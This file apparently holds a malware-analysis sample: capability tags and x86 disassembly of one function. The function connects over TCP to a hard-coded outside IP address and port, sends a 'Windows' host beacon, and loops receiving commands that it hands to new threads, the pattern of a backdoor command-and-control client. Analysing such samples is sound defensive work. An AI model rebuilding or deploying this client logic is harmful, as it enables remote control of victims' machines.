Function at 0x403a80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d796
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x450
mov eax, dword [0x43b06c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0x437154
mov ecx, 0x43c2f0
call fcn.0040a090
push eax
call fcn.0040a340
add esp, 4
mov dword [ebp - 0x438], 0
xorps xmm0, xmm0
mov dword [ebp - 0x434], 0
lea ecx, [ebp - 0x448]
movups xmmword [ebp - 0x448], xmm0
push 0xc
push str.64.32.22.134
call fcn.0040ab40
lea edx, [ebp - 0x448]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x460]
call fcn.00402dd0
cmp dword [eax + 0x14], 0x10
jb 0x403b29
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp - 0x44c]
mov dword [ebp - 0x42c], eax
cmp ecx, 0x10
jb 0x403b70
mov edx, dword [ebp - 0x460]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403b66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403e66
push ecx
push edx
call fcn.0040f21e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x44c], 0xf
mov byte [ebp - 0x460], 0
cmp ecx, 0x10
jb 0x403bcc
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403bc2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403e66
push ecx
push edx
call fcn.0040f21e
add esp, 8
mov eax, 2
push 0x6db1
mov word [ebp - 0x430], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0
push 1
push 2
mov word [ebp - 0x42e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403c23
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push ecx
mov edx, str.Could_not_create_socket_:
mov ecx, 0x43c2f0
call fcn.0040a090
add esp, 4
mov ecx, eax
call fcn.00406e10
jmp 0x403e34
push 0x10
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x403c6c
mov edx, str.Connect_error
mov ecx, 0x43c2f0
call fcn.0040a090
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push ecx
mov edx, str.Could_not_create_socket_:
mov ecx, 0x43c2f0
call fcn.0040a090
add esp, 4
mov ecx, eax
call fcn.00406e10
jmp 0x403e2d
push 0x43d314
push dword [0x43d2dc]
lea eax, [ebp - 0x408]
mov dword [ebp - 0x418], 1
push 0x43d2e0
push str.Windows__s___d__s
push 0xc8
push eax
mov dword [ebp - 0x41c], 0xea60
mov dword [ebp - 0x40c], 0x1388
call fcn.004012a0
lea ecx, [ebp - 0x408]
add esp, 0x18
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403cc0
push 0
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x403e2d
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x418]
push 4
push eax
push 8
push 0xffff
push esi
call edi
test eax, eax
je 0x403d0e
mov edx, 0x4371b0
mov ecx, 0x43c2f0
call fcn.0040a090
push 4
lea eax, [ebp - 0x41c]
push eax
push 3
push 6
push esi
call edi
test eax, eax
je 0x403d31
mov edx, 0x4371b0
mov ecx, 0x43c2f0
call fcn.0040a090
push 4
lea eax, [ebp - 0x40c]
push eax
push 0x11
push 6
push esi
call edi
test eax, eax
je 0x403d54
mov edx, 0x4371b0
mov ecx, 0x43c2f0
call fcn.0040a090
mov edi, dword [sym.imp.WS2_32.dll_recv]
lea eax, [ebp - 0x210]
push 0
push 0x1f4
push eax
push esi
call edi
test eax, eax
jle 0x403e1e
cmp eax, 0x1f4
jae 0x403d82
mov byte [ebp + eax - 0x210], 0
push 8
call fcn.0040f1ee
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x420], eax
add esp, 4
mov dword [eax], ecx
mov dword [eax + 4], 0x403940
lea ecx, [ebp - 0x410]
mov dword [ebp - 4], 1
push ecx
push 0
push eax
push 0x40c5e0
push 0
push 0
call fcn.00414422
add esp, 0x18
mov dword [ebp - 0x414], eax
test eax, eax
je 0x403e55
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0x410]
test ecx, ecx
je 0x403e6b
push ecx
push eax
call fcn.0040e98f
add esp, 8
test eax, eax
jne 0x403e6b
push eax
push 0x1f4
lea eax, [ebp - 0x210]
mov dword [ebp - 4], 0xffffffff
push eax
xorps xmm0, xmm0
push esi
movlpd qword [ebp - 0x414], xmm0
call edi
test eax, eax
jg 0x403d73
mov edx, 0x4371b8
mov ecx, 0x43c2f0
call fcn.0040a090
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040efde
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 6
mov dword [ebp - 0x410], 0
call fcn.0040c860
call fcn.00417d1f
push 1
call fcn.0040c860
int3